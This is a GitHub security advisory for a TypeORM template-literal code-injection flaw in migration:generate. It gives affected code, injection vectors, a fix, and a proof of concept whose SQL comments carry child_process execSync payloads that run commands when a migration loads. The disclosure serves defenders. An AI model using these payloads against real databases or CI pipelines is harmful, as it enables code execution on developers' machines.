GitHub Advisoryadvisory · npm
GHSA-2rp8-mm9q-fp49 TypeORM: migration:generate template-literal code injection
MEDIUM
Official page ↗
- Aliases
- CVE-2026-73651
- Ecosystem
- npm
- Packages
- typeorm
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-94
- Reviewed
- 2026-07-21
Affected packages
• npm typeorm: < 0.3.31 → fixed in 0.3.31
• npm typeorm: >= 1.0.0, < 1.1.0 → fixed in 1.1.0
Description
Summary
`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
Details
`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
```typescript
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
```
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | `PostgresQueryRunner.ts:1782`, `L1898`, `L2287`, `L4125` |
| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | `MysqlQueryRunner.ts:2873-2974`, `L3580-3583` |
| CockroachDB | Same patterns as Postgres | `CockroachQueryRunner.ts` |
`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:
```typescript
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
```
When the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
| `MigrationGenerateCommand.ts` | 117-138 | Template-literal construction (sink) |
| `PostgresDriver.ts` | 1886-1891 | `escapeComment()` — Postgres |
| `MysqlDriver.ts` | 1322-1328 | `escapeComment()` — MySQL |
| `CockroachDriver.ts` | 1236-1241 | `escapeComment()` — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
| Column `COMMENT` | Confirmed | Proven in PoC below |
| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT '${...}'`; payload appears in generated migration |
| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |
| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |
Suggested fix: Escape `${` to `\${` (and `\\` to `\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.
PoC
Prerequisites:
• Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`
• The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text
Steps:
1. Inject payload into schema metadata. Set a column comment or default containing `${...}`:
```sql
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
```
2. Run migration generation on the developer/CI machine:
```bash
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
```
3. Inspect the generated file. The output `.ts` file contains unescaped `${...}`:
```typescript
export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
```
4. Run or revert the migration:
```bash
npx typeorm migration:revert -d ./data-source.ts
```
Output confirms code execution — `id` ran on the host and its output was interpolated into the SQL:
```
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
```
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.
Impact
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.
Related
Alias · CVE (1)
- CVE-2026-73651 TypeORM is a TypeScript and JavaScript ORM for Node.js that supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and other… vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49 web
- https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519 web
- https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe web
- https://github.com/typeorm/typeorm package
- https://github.com/typeorm/typeorm/releases/tag/0.3.31 web
- https://github.com/typeorm/typeorm/releases/tag/1.1.0 web